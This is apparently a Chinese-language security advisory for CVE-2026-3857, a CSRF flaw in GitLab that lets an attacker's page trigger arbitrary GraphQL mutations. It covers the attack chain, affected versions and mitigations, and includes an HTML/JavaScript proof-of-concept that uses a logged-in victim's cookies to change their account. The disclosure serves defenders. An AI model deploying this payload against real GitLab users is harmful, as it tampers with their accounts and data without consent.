IPBUF安全漏洞报告
English
CVE-2026-3857 CVSS 8.1 高危

CVE-2026-3857 GitLab CSRF漏洞致任意GraphQL变更

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-3857
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
GitLab CE/EE

相关标签

CSRFGitLabGraphQL高危漏洞

漏洞概述

GitLab CE/EE 存在一个因 CSRF 保护不足而引发的安全漏洞。该漏洞影响了特定版本范围内的所有 GitLab 实例。未经身份验证的攻击者可以利用此漏洞,诱导已认证的用户执行恶意的 GraphQL 变更操作。由于缺乏充分的跨站请求伪造防护机制,攻击者能够代表受害者执行任意 GraphQL 请求,从而可能导致数据泄露或完整性破坏。该问题已在后续版本中得到修复。

技术细节

该漏洞的根源在于 GitLab 处理 GraphQL 变更请求时缺乏足够的跨站请求伪造(CSRF)防护机制。通常情况下,状态改变的操作(如 mutations)应严格验证请求来源或要求有效的 CSRF Token。然而,在受影响的版本中,GitLab 未能对某些 GraphQL 端点实施此类检查。攻击者无需获取受害者的凭证,只需构造一个恶意的 HTML 页面或脚本,并在其中嵌入指向 GitLab GraphQL API 的恶意请求。当已登录 GitLab 的用户访问攻击者控制的页面时,浏览器会自动携带用户的 Session Cookie 发起请求。由于服务器端未能区分请求是否由用户主动发起,攻击者即可以此身份执行任意 GraphQL 变更操作,如修改用户设置、删除数据或更改仓库权限等,从而对系统的机密性和完整性造成严重影响。

攻击链分析

STEP 1
侦察与准备
攻击者分析目标 GitLab 实例,确定其版本存在漏洞,并构造恶意的 GraphQL mutation 请求载荷。
STEP 2
投递诱饵
攻击者将包含恶意请求脚本的 HTML 页面部署在受控服务器上,并通过社会工程学手段诱导已登录的目标用户点击访问。
STEP 3
触发漏洞
受害用户浏览器在加载恶意页面时,自动携带用户的 Session Cookie 向 GitLab 服务器发送 GraphQL 请求。
STEP 4
执行攻击
GitLab 服务器因缺乏 CSRF 校验,误认为请求是用户合法操作,执行攻击者指定的 GraphQL 变更操作,导致数据被篡改或敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-3857 --> <!-- This PoC demonstrates a CSRF attack to execute a GraphQL mutation --> <html> <body> <script> // Target GraphQL endpoint const targetUrl = "https://gitlab.example.com/api/graphql"; // Arbitrary GraphQL mutation (e.g., update user status) const payload = { query: `mutation { updateUserStatus(input: {emoji: "rocket", message: "Hacked via CSRF"}) { user { username } } }` }; // Send request using fetch fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(payload), credentials: 'include' // Browser sends cookies automatically }).then(response => console.log("Request sent")); </script> </body> </html>

影响范围

GitLab CE/EE >= 17.10, < 18.8.7
GitLab CE/EE >= 18.9, < 18.9.3
GitLab CE/EE >= 18.10, < 18.10.1

防御指南

临时缓解措施
建议管理员立即检查 GitLab 版本并升级至修复版本。如果无法立即升级,应限制对 GraphQL 端点的网络访问,仅允许可信的 IP 地址访问,或部署 Web 应用防火墙(WAF)规则以检测和阻止潜在的 CSRF 攻击请求。同时,应加强对用户的安全教育,警惕不明链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表